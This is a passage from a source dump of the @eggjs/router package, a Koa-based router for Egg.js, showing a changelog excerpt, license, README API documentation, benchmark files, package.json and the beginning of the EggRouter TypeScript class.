koa-router\n\n## 7.4.0\n\n- Fix router.url() for multiple nested routers [#407](https://github.com/alexmingoia/koa-router/pull/407)\n- `layer.name` added to `ctx` at `ctx.routerName` during routing [#412](https://github.com/alexmingoia/koa-router/pull/412)\n- Router.use() was erroneously settings `(.*)` as a prefix to all routers nested with .use that did not pass an explicit prefix string as the first argument. This resulted in routes being matched that should not have been, included the running of multiple route handlers in error. [#369](https://github.com/alexmingoia/koa-router/issues/369) and [#410](https://github.com/alexmingoia/koa-router/issues/410) include information on this issue.\n\n## 7.3.0\n\n- Router#url() now accepts query parameters to add to generated urls [#396](https://github.com/alexmingoia/koa-router/pull/396)\n\n## 7.2.1\n\n- Respond to CORS preflights with 200, 0 length body [#359](https://github.com/alexmingoia/koa-router/issues/359)\n\n## 7.2.0\n\n- Fix a bug in Router#url and append Router object to ctx. [#350](https://github.com/alexmingoia/koa-router/pull/350)\n- Adds `_matchedRouteName` to context [#337](https://github.com/alexmingoia/koa-router/pull/337)\n- Respond to CORS preflights with 200, 0 length body [#359](https://github.com/alexmingoia/koa-router/issues/359)\n\n## 7.1.1\n\n- Fix bug where param handlers were run out of order [#282](https://github.com/alexmingoia/koa-router/pull/282)\n\n## 7.1.0\n\n- Backports: merge 5.4 work into the 7.x upstream. See 5.4.0 updates for more details.\n\n## 7.0.1\n\n- Fix: allowedMethods should be ctx.method not this.method [#215](https://github.com/alexmingoia/koa-router/pull/215)\n\n## 7.0.0\n\n- The API has changed to match the new promise-based middleware\n  signature of koa 2. See the\n  [koa 2.x readme](https://github.com/koajs/koa/tree/2.0.0-alpha.3) for more\n  information.\n- Middleware is now always run in the order declared by `.use()` (or `.get()`,\n  etc.), which matches Express 4 API.\n\n## 5.4.0\n\n- Expose matched route at `ctx._matchedRoute`.\n\n## 5.3.0\n\n- Register multiple routes with array of paths [#203](https://github.com/alexmingoia/koa-router/issue/143).\n- Improved router.url() [#143](https://github.com/alexmingoia/koa-router/pull/143)\n- Adds support for named routes and regular expressions\n  [#152](https://github.com/alexmingoia/koa-router/pull/152)\n- Add support for custom throw functions for 405 and 501 responses [#206](https://github.com/alexmingoia/koa-router/pull/206)\n\n## 5.2.3\n\n- Fix for middleware running twice when nesting routes [#184](https://github.com/alexmingoia/koa-router/issues/184)\n\n## 5.2.2\n\n- Register routes without params before those with params [#183](https://github.com/alexmingoia/koa-router/pull/183)\n- Fix for allowed methods [#182](https://github.com/alexmingoia/koa-router/issues/182)\n\n## 5.2.0\n\n- Add support for async/await. Resolves [#130](https://github.com/alexmingoia/koa-router/issues/130).\n- Add support for array of paths by Router#use(). Resolves [#175](https://github.com/alexmingoia/koa-router/issues/175).\n- Inherit param middleware when nesting routers. Fixes [#170](https://github.com/alexmingoia/koa-router/issues/170).\n- Default router middleware without path to root. Fixes [#161](https://github.com/alexmingoia/koa-router/issues/161), [#155](https://github.com/alexmingoia/koa-router/issues/155), [#156](https://github.com/alexmingoia/koa-router/issues/156).\n- Run nested router middleware after parent's. Fixes [#156](https://github.com/alexmingoia/koa-router/issues/156).\n- Remove dependency on koa-compose.\n\n## 5.1.1\n\n- Match routes in order they were defined. Fixes #131.\n\n## 5.1.0\n\n- Support mounting router middleware at a given path.\n\n## 5.0.1\n\n- Fix bug with missing parameters when nesting routers.\n\n## 5.0.0\n\n- Remove confusing API for extending koa app with router methods. Router#use()\n  does not have the same behavior as app#use().\n- Add support for nesting routes.\n- Remove support for regular expression routes to achieve nestable routers and\n  enable future trie-based routing optimizations.\n\n## 4.3.2\n\n- Do not send 405 if route matched but status is 404. Fixes #112, closes #114.\n\n## 4.3.1\n\n- Do not run middleware if not yielded to by previous middleware. Fixes #115.\n\n## 4.3.0\n\n- Add support for router prefixes.\n- Add MIT license.\n\n## 4.2.0\n\n- Fixed issue with router middleware being applied even if no route was\nmatched.\n- Router.url - new static method to generate url from url pattern and data\n\n## 4.1.0\n\nPrivate API changed to separate context parameter decoration from route\nmatching. `Router#match` and `Route#match` are now pure functions that return\nan array of routes that match the URL path.\n\nFor modules using this private API that need to determine if a method and path\nmatch a route, `route.methods` must be checked against the routes returned from\n`router.match()`:\n\n```javascript\nvar matchedRoute = router.match(path).filter(function (route) {\n  return ~route.methods.indexOf(method);\n}).shift();\n```\n\n## 4.0.0\n\n405, 501, and OPTIONS response handling was moved into separate middleware\n`router.allowedMethods()`. This resolves incorrect 501 or 405 responses when\nusing multiple routers.\n\n### Breaking changes\n\n4.x is mostly backwards compatible with 3.x, except for the following:\n\n- Instantiating a router with `new` and `app` returns the router instance,\n  whereas 3.x returns the router middleware. When creating a router in 4.x, the\n  only time router middleware is returned is when creating using the\n  `Router(app)` signature (with `app` and without `new`).\n"
  },
  {
    "path": "packages/router/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2019-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\negg-router is a fork of koa-router with some additional features.\n\n- koa-router is licensed as follows:\n  \"\"\"\n    The MIT License (MIT)\n\n    Copyright (c) 2015 Alexander C. Mingoia\n\n    Permission is hereby granted, free of charge, to any person obtaining a copy\n    of this software and associated documentation files (the \"Software\"), to deal\n    in the Software without restriction, including without limitation the rights\n    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n    copies of the Software, and to permit persons to whom the Software is\n    furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included in\n    all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n    THE SOFTWARE.\n  \"\"\"\n"
  },
  {
    "path": "packages/router/README.md",
    "content": "# @eggjs/router\n\n[![NPM version](https://img.shields.io/npm/v/@eggjs/router.svg?style=flat-square)](https://npmjs.org/package/@eggjs/router)\n[![NPM download](https://img.shields.io/npm/dm/@eggjs/router.svg?style=flat-square)](https://npmjs.org/package/@eggjs/router)\n[![Known Vulnerabilities](https://snyk.io/test/npm/@eggjs/router/badge.svg?style=flat-square)](https://snyk.io/test/npm/@eggjs/router)\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/router.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/router)\n\nRouter core component for [Egg.js](https://github.com/eggjs).\n\n> **This repository is a fork of [koa-router](https://github.com/alexmingoia/koa-router).** with some additional features.\n> And thanks for the great work of @alexmingoia and the original team.\n\n## API Reference\n\n- [@eggjs/router](#eggjsrouter)\n  - [API Reference](#api-reference)\n    - [Router ⏏](#router-)\n      - [new Router(\\[opts\\])](#new-routeropts)\n      - [router.get|put|post|patch|delete|del ⇒ Router](#routergetputpostpatchdeletedel--router)\n      - [Named routes](#named-routes)\n      - [Multiple middleware](#multiple-middleware)\n    - [Nested routers](#nested-routers)\n      - [Router prefixes](#router-prefixes)\n      - [URL parameters](#url-parameters)\n      - [router.routes ⇒ function](#routerroutes--function)\n      - [router.use(\\[path\\], middleware) ⇒ Router](#routerusepath-middleware--router)\n      - [router.prefix(prefix) ⇒ Router](#routerprefixprefix--router)\n      - [router.allowedMethods(\\[options\\]) ⇒ function](#routerallowedmethodsoptions--function)\n      - [router.redirect(source, destination, \\[code\\]) ⇒ Router](#routerredirectsource-destination-code--router)\n      - [router.route(name) ⇒ Layer | false](#routerroutename--layer--false)\n      - [router.url(name, params, \\[options\\]) ⇒ String | Error](#routerurlname-params-options--string--error)\n      - [router.param(param, middleware) ⇒ Router](#routerparamparam-middleware--router)\n      - [Router.url(path, params \\[, options\\]) ⇒ String](#routerurlpath-params--options--string)\n  - [Tests](#tests)\n  - [Breaking changes on v3](#breaking-changes-on-v3)\n  - [License](#license)\n  - [Contributors](#contributors)\n\n<a name=\"exp_module_egg-router--Router\"></a>\n\n### Router ⏏\n\n**Kind**: Exported class\n<a name=\"new_module_egg-router--Router_new\"></a>\n\n#### new Router([opts])\n\nCreate a new router.\n\n| Param         | Type                | Description         |\n| ------------- | ------------------- | ------------------- |\n| [opts]        | <code>Object</code> |                     |\n| [opts.prefix] | <code>String</code> | prefix router paths |\n\n**Example**\nBasic usage:\n\n```ts\nimport Koa from '@eggjs/koa';\nimport Router from '@eggjs/router';\n\nconst app = new Koa();\nconst router = new Router();\n\nrouter.get('/', async (ctx, next) => {\n  // ctx.router available\n});\n\napp.use(router.routes()).use(router.allowedMethods());\n```\n\n<a name=\"module_egg-router--Router+get|put|post|patch|delete|del\"></a>\n\n#### router.get|put|post|patch|delete|del ⇒ <code>Router</code>\n\nCreate `router.verb()` methods, where _verb_ is one of the HTTP verbs such\nas `router.get()` or `router.post()`.\n\nMatch URL patterns to callback functions or controller actions using `router.verb()`,\nwhere **verb** is one of the HTTP verbs such as `router.get()` or `router.post()`.\n\nAdditionaly, `router.all()` can be used to match against all methods.\n\n```ts\nrouter\n  .get('/', (ctx, next) => {\n    ctx.body = 'Hello World!';\n  })\n  .post('/users', (ctx, next) => {\n    // ...\n  })\n  .put('/users/:id', (ctx, next) => {\n    // ...\n  })\n  .del('/users/:id', (ctx, next) => {\n    // ...\n  })\n  .all('/users/:id', (ctx, next) => {\n    // ...\n  });\n```\n\nWhen a route is matched, its path is available at `ctx.routePath` and if named,\nthe name is available at `ctx.routeName`\n\nRoute paths will be translated to regular expressions using\n[path-to-regexp](https://github.com/pillarjs/path-to-regexp).\n\nQuery strings will not be considered when matching requests.\n\n#### Named routes\n\nRoutes can optionally have names. This allows generation of URLs and easy\nrenaming of URLs during development.\n\n```ts\nrouter.get('user', '/users/:id', (ctx, next) => {\n  // ...\n});\n\nrouter.url('user', 3);\n// => \"/users/3\"\n```\n\n#### Multiple middleware\n\nMultiple middleware may be given:\n\n```ts\nrouter.get(\n  '/users/:id',\n  (ctx, next) => {\n    return User.findOne(ctx.params.id).then(function (user) {\n      ctx.user = user;\n      next();\n    });\n  },\n  ctx => {\n    console.log(ctx.user);\n    // => { id: 17, name: \"Alex\" }\n  }\n);\n```\n\n### Nested routers\n\nNesting routers is supported:\n\n```ts\nconst forums = new Router();\nconst posts = new Router();\n\nposts.get('/', (ctx, next) => {...});\nposts.get('/:pid', (ctx, next) => {...});\nforums.use('/forums/:fid/posts', posts.routes(), posts.allowedMethods());\n\n// responds to \"/forums/123/posts\" and \"/forums/123/posts/123\"\napp.use(forums.routes());\n```\n\n#### Router prefixes\n\nRoute paths can be prefixed at the router level:\n\n```ts\nconst router = new Router({\n  prefix: '/users'\n});\n\nrouter.get('/', ...); // responds to \"/users\"\nrouter.get('/:id', ...); // responds to \"/users/:id\"\n```\n\n#### URL parameters\n\nNamed route parameters are captured and added to `ctx.params`.\n\n```ts\nrouter.get('/:category/:title', (ctx, next) => {\n  console.log(ctx.params);\n  // => { category: 'programming', title: 'how-to-node' }\n});\n```\n\nThe [path-to-regexp](https://github.com/pillarjs/path-to-regexp) module is\nused to convert paths to regular expressions.\n\n**Kind**: instance property of <code>[Router](#exp_module_egg-router--Router)</code>\n\n| Param        | Type                  | Description         |\n| ------------ | --------------------- | ------------------- |\n| path         | <code>String</code>   |                     |\n| [middleware] | <code>function</code> | route middleware(s) |\n| callback     | <code>function</code> | route callback      |\n\n<a name=\"module_egg-router--Router+routes\"></a>\n\n#### router.routes ⇒ <code>function</code>\n\nReturns router middleware which dispatches a route matching the request.\n\n**Kind**: instance property of <code>[Router](#exp_module_egg-router--Router)</code>\n<a name=\"module_egg-router--Router+use\"></a>\n\n#### router.use([path], middleware) ⇒ <code>Router</code>\n\nUse given middleware.\n\nMiddleware run in the order they are defined by `.use()`. They are invoked\nsequentially, requests start at the first middleware and work their way\n\"down\" the middleware stack.\n\n**Kind**: instance method of <code>[Router](#exp_module_egg-router--Router)</code>\n\n| Param      | Type                  |\n| ---------- | --------------------- |\n| [path]     | <code>String</code>   |\n| middleware | <code>function</code> |\n| [...]      | <code>function</code> |\n\n**Example**\n\n```ts\n// session middleware will run before authorize\nrouter.use(session()).use(authorize());\n\n// use middleware only with given path\nrouter.use('/users', userAuth());\n\n// or with an array of paths\nrouter.use(['/users', '/admin'], userAuth());\n\napp.use(router.routes());\n```\n\n<a name=\"module_egg-router--Router+prefix\"></a>\n\n#### router.prefix(prefix) ⇒ <code>Router</code>\n\nSet the path prefix for a Router instance that was already initialized.\n\n**Kind**: instance method of <code>[Router](#exp_module_egg-router--Router)</code>\n\n| Param  | Type                |\n| ------ | ------------------- |\n| prefix | <code>String</code> |\n\n**Example**\n\n```ts\nrouter.prefix('/things/:thing_id');\n```\n\n<a name=\"module_egg-router--Router+allowedMethods\"></a>\n\n#### router.allowedMethods([options]) ⇒ <code>function</code>\n\nReturns separate middleware for responding to `OPTIONS` requests with\nan `Allow` header containing the allowed methods, as well as responding\nwith `405 Method Not Allowed` and `501 Not Implemented` as appropriate.\n\n**Kind**: instance method of <code>[Router](#exp_module_egg-router--Router)</code>\n\n| Param                      | Type                  | Description                                                             |\n| -------------------------- | --------------------- | ----------------------------------------------------------------------- |\n| [options]                  | <code>Object</code>   |                                                                         |\n| [options.throw]            | <code>Boolean</code>  | throw error instead of setting status and header                        |\n| [options.notImplemented]   | <code>function</code> | throw the returned value in place of the default NotImplemented error   |\n| [options.methodNotAllowed] | <code>function</code> | throw the returned value in place of the default MethodNotAllowed error |\n\n**Example**\n\n```ts\nimport Koa from '@eggjs/koa';\nimport Router from '@eggjs/router';\n\nconst app = new Koa();\nconst router = new Router();\n\napp.use(router.routes());\napp.use(router.allowedMethods());\n```\n\n**Example with [Boom](https://github.com/hapijs/boom)**\n\n```ts\nimport Koa from '@eggjs/koa';\nimport Router from '@eggjs/router';\nimport Boom from 'boom';\n\nconst app = new Koa();\nconst router = new Router();\n\napp.use(router.routes());\napp.use(\n  router.allowedMethods({\n    throw: true,\n    notImplemented: () => new Boom.notImplemented(),\n    methodNotAllowed: () => new Boom.methodNotAllowed(),\n  })\n);\n```\n\n<a name=\"module_egg-router--Router+redirect\"></a>\n\n#### router.redirect(source, destination, [code]) ⇒ <code>Router</code>\n\nRedirect `source` to `destination` URL with optional 30x status `code`.\n\nBoth `source` and `destination` can be route names.\n\n```javascript\nrouter.redirect('/login', 'sign-in');\n```\n\nThis is equivalent to:\n\n```ts\nrouter.all('/login', ctx => {\n  ctx.redirect('/sign-in');\n  ctx.status = 301;\n});\n```\n\n**Kind**: instance method of <code>[Router](#exp_module_egg-router--Router)</code>\n\n| Param       | Type                | Description                      |\n| ----------- | ------------------- | -------------------------------- |\n| source      | <code>String</code> | URL or route name.               |\n| destination | <code>String</code> | URL or route name.               |\n| [code]      | <code>Number</code> | HTTP status code (default: 301). |\n\n<a name=\"module_egg-router--Router+route\"></a>\n\n#### router.route(name) ⇒ <code>Layer</code> &#124; <code>false</code>\n\nLookup route with given `name`.\n\n**Kind**: instance method of <code>[Router](#exp_module_egg-router--Router)</code>\n\n| Param | Type                |\n| ----- | ------------------- |\n| name  | <code>String</code> |\n\n<a name=\"module_egg-router--Router+url\"></a>\n\n#### router.url(name, params, [options]) ⇒ <code>String</code> &#124; <code>Error</code>\n\nGenerate URL for route. Takes a route name and map of named `params`.\n\n**Kind**: instance method of <code>[Router](#exp_module_egg-router--Router)</code>\n\n| Param           | Type                                           | Description       |\n| --------------- | ---------------------------------------------- | ----------------- |\n| name            | <code>String</code>                            | route name        |\n| params          | <code>Object</code>                            | url parameters    |\n| [options]       | <code>Object</code>                            | options parameter |\n| [options.query] | <code>Object</code> &#124; <code>String</code> | query options     |\n\n**Example**\n\n```ts\nrouter.get('user', '/users/:id', (ctx, next) => {\n  // ...\n});\n\nrouter.url('user', 3);\n// => \"/users/3\"\n\nrouter.url('user', { id: 3 });\n// => \"/users/3\"\n\nrouter.use((ctx, next) => {\n  // redirect to named route\n  ctx.redirect(ctx.router.url('sign-in'));\n});\n\nrouter.url('user', { id: 3 }, { query: { limit: 1 } });\n// => \"/users/3?limit=1\"\n\nrouter.url('user', { id: 3 }, { query: 'limit=1' });\n// => \"/users/3?limit=1\"\n```\n\n<a name=\"module_egg-router--Router+param\"></a>\n\n#### router.param(param, middleware) ⇒ <code>Router</code>\n\nRun middleware for named route parameters. Useful for auto-loading or\nvalidation.\n\n**Kind**: instance method of <code>[Router](#exp_module_egg-router--Router)</code>\n\n| Param      | Type                  |\n| ---------- | --------------------- |\n| param      | <code>String</code>   |\n| middleware | <code>function</code> |\n\n**Example**\n\n```ts\nrouter\n  .param('user', (id, ctx, next) => {\n    ctx.user = users[id];\n    if (!ctx.user) return (ctx.status = 404);\n    return next();\n  })\n  .get('/users/:user', ctx => {\n    ctx.body = ctx.user;\n  })\n  .get('/users/:user/friends', ctx => {\n    return ctx.user.getFriends().then(function (friends) {\n      ctx.body = friends;\n    });\n  });\n// /users/3 => {\"id\": 3, \"name\": \"Alex\"}\n// /users/3/friends => [{\"id\": 4, \"name\": \"TJ\"}]\n```\n\n<a name=\"module_egg-router--Router.url\"></a>\n\n#### Router.url(path, params [, options]) ⇒ <code>String</code>\n\nGenerate URL from url pattern and given `params`.\n\n**Kind**: static method of <code>[Router](#exp_module_egg-router--Router)</code>\n\n| Param           | Type                                           | Description       |\n| --------------- | ---------------------------------------------- | ----------------- |\n| path            | <code>String</code>                            | url pattern       |\n| params          | <code>Object</code>                            | url parameters    |\n| [options]       | <code>Object</code>                            | options parameter |\n| [options.query] | <code>Object</code> &#124; <code>String</code> | query options     |\n\n**Example**\n\n```ts\nconst url = Router.url('/users/:id', { id: 1 });\n// => \"/users/1\"\n\nconst url = Router.url('/users/:id', { id: 1 }, { query: { active: true } });\n// => \"/users/1?active=true\"\n```\n\n## Tests\n\nRun tests using `npm test`.\n\n## Breaking changes on v3\n\n- Drop generator function support\n- Drop Node.js < 18.19.0 support\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/router/bench/Makefile",
    "content": "all: middleware\n\nmiddleware:\n\t@./run 1 false\n\t@./run 5 false\n\t@./run 10 false\n\t@./run 20 false\n\t@./run 50 false\n\t@./run 100 false\n\t@./run 200 false\n\t@./run 500 false\n\t@./run 1000 false\n\t@./run 1 true\n\t@./run 5 true\n\t@./run 10 true\n\t@./run 20 true\n\t@./run 50 true\n\t@./run 100 true\n\t@./run 200 true\n\t@./run 500 true\n\t@./run 1000 true\n\n.PHONY: all middleware\n"
  },
  {
    "path": "packages/router/bench/server.cjs",
    "content": "const { Application } = require('@eggjs/koa');\nconst { Router } = require('..');\n\nconst app = new Application();\nconst router = new Router();\n\nconst ok = (ctx) => {\n  ctx.status = 200;\n};\nconst n = parseInt(process.env.FACTOR || '10', 10);\nconst useMiddleware = process.env.USE_MIDDLEWARE === 'true';\n\nrouter.get('/_health', ok);\n\nfor (let i = n; i > 0; i--) {\n  if (useMiddleware) router.use((ctx, next) => next());\n  router.get(`/${i}/one`, ok);\n  router.get(`/${i}/one/two`, ok);\n  router.get(`/${i}/one/two/:three`, ok);\n  router.get(`/${i}/one/two/:three/:four?`, ok);\n  router.get(`/${i}/one/two/:three/:four?/five`, ok);\n  router.get(`/${i}/one/two/:three/:four?/five/six`, ok);\n}\n\nconst grandchild = new Router();\n\nif (useMiddleware) grandchild.use((ctx, next) => next());\ngrandchild.get('/', ok);\ngrandchild.get('/:id', ok);\ngrandchild.get('/:id/seven', ok);\ngrandchild.get('/:id/seven(/eight)?', ok);\n\nfor (let i = n; i > 0; i--) {\n  const child = new Router();\n  if (useMiddleware) child.use((ctx, next) => next());\n  child.get(`/:${''.padStart(i, 'a')}`, ok);\n  // child.use('/grandchild', grandchild);\n  // router.use(`/${i}/child`, child);\n}\n\nif (process.env.DEBUG) {\n  console.log(require('../lib/utils').inspect(router));\n}\n\napp.use(router.routes());\n\nprocess.stdout.write(`mw: ${useMiddleware} factor: ${n}`);\n\napp.listen(process.env.PORT);\n"
  },
  {
    "path": "packages/router/package.json",
    "content": "{\n  \"name\": \"@eggjs/router\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"Router middleware for egg/koa. Provides RESTful resource routing.\",\n  \"keywords\": [\n    \"koa\",\n    \"middleware\",\n    \"route\",\n    \"router\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/router\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"eggjs\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/router\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\",\n    \"bench\": \"cd bench && make\"\n  },\n  \"dependencies\": {\n    \"http-errors\": \"catalog:\",\n    \"inflection\": \"catalog:\",\n    \"is-type-of\": \"catalog:\",\n    \"koa-compose\": \"catalog:\",\n    \"methods\": \"catalog:\",\n    \"path-to-regexp\": \"catalog:path-to-regexp1\",\n    \"urijs\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/koa\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/http-errors\": \"catalog:\",\n    \"@types/koa-compose\": \"catalog:\",\n    \"@types/methods\": \"catalog:\",\n    \"@types/urijs\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/router/src/EggRouter.ts",
    "content": "import assert from 'node:assert';\n\nimport { singularize, pluralize } from 'inflection';\nimport { isGeneratorFunction } from 'is-type-of';\nimport methods from 'methods';\nimport { encodeURIComponent as safeEncodeURIComponent } from 'utility';\n\nimport { Layer } from './Layer.ts';\nimport { type RegisterOptions, Router, type RouterMethod, type RouterOptions } from './Router.ts';\nimport { type MiddlewareFunc, type Next, type ResourcesController } from './types.ts';\n\ninterface RestfulOptions {\n  suffix?: string;\n  namePrefix?: string;\n  method: string | string[];\n  member?: true;\n}\n\nconst REST_MAP: Record<string, RestfulOptions> = {\n  index: {\n    suffix: '',\n    method: 'GET',\n  },\n  new: {\n    namePrefix: 'new_',\n    member: true,\n    suffix: 'new',\n    method: 'GET',\n  },\n  create: {\n    suffix: '',\n    method: 'POST',\n  },\n  show: {\n    member: true,\n    suffix: ':id',\n    method: 'GET',\n  },\n  edit: {\n    member: true,\n    namePrefix: 'edit_',\n    suffix: ':id/edit',\n    method: 'GET',\n  },\n  update: {\n    member: true,\n    namePrefix: '',\n    suffix: ':id',\n    method: ['PATCH', 'PUT'],\n  },\n  destroy: {\n    member: true,\n    namePrefix: 'destroy_',\n    suffix: ':id',\n    method: 'DELETE',\n  },\n};\n\ninterface Application {\n  controller: Record<string, any>;\n}\n\n/**\n * FIXME: move these patch into @eggjs/router\n */\nexport class EggRouter extends Router {\n  readonly app: Application;\n\n  /**\n   * @class\n   * @param {Object} opts - Router options.\n   * @param {Application} app - Application object.\n   */\n  constructor(opts: RouterOptions, app: Application) {\n    super(opts);\n    this.app = app;\n  }\n\n  verb(\n    method: RouterMethod | RouterMethod[],\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middleware: (MiddlewareFunc | string)[]\n  ): Router {\n    const { path, middlewares, options } = this._formatRouteParams(nameOrPath, pathOrMiddleware, middleware);\n    if (typeof method === 'string') {\n      method = [method];\n    }\n    this.register(path, method, middlewares, options);\n    return this;\n  }\n\n  // const METHODS = [ 'head', 'options', 'get', 'put', 'patch', 'post', 'delete', 'all' ];\n  head(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  head(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  head(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router {\n    return this.verb('head', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n  options(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  options(\n    name: string,\n    path: string | RegExp | (string | RegExp)[],\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router;\n  options(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router {\n    return this.verb('options', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n  get(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  get(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  get(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router {\n    return this.verb('get', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n  put(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  put(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  put(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router {\n    return this.verb('put', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n  patch(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  patch(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  patch(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router {\n    return this.verb('patch', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n  post(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  post(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  post(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router {\n    return this.verb('post', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n  delete(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  delete(\n    name: string,\n    path: string | RegExp | (string | RegExp)[],\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router;\n  delete(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router {\n    return this.verb('delete', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n  all(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  all(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): Router;\n  all(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): Router {\n    return 